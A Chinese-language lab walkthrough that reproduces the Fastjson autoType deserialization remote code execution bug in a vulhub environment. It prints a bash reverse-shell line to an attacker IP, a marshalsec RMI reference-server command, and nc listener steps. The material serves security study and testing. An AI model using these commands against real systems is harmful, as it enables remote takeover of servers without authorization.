type
status
date
slug
summary
tags
category
icon
password
工具下载与环境配置
cd marshalsec
mvn clean package -DskipTests
漏洞原理
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
影响版本:
fastjson < 1.2.25
复现思路
发送POC让靶机来请求VPS上的RMI方法,执行放置在python临时服务器上的EXP(/bin/bash","-c","bash -i >& /dev/tcp/192.168.18.137/4444 0>&1)同时VPS利用nc监听着4444端口,等待shell反弹
漏洞复现(vulhub)
1. test.java编译
进入工具的target目录
新建test.java(代码内填入反弹shell的ip和端口)
并通过javac 编译此文件(javac test.java)
编译test.java生成test.class
2.开启一个http服务加载test.class
python的简易网站使用
python2 -m SimpleHTTPServer port或者
python3 -m http.server port

3.启动rmi服务并监听9999端口
target目录下执行命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.131:8000/#test" 9999

4. 启动本地监听(test.java中的端口)
nc -lvvp 4444
4. docker启动环境

5.构造请求
BP抓包改GET为POST,插入Content-Type: application/json后发送POC
此处实践没有加Content-Type
burp截取get请求后修改
(1)请求方式为POST
(2)ip:port为开启rmi服务的攻击机ip:port
6.查看监听,成功监听


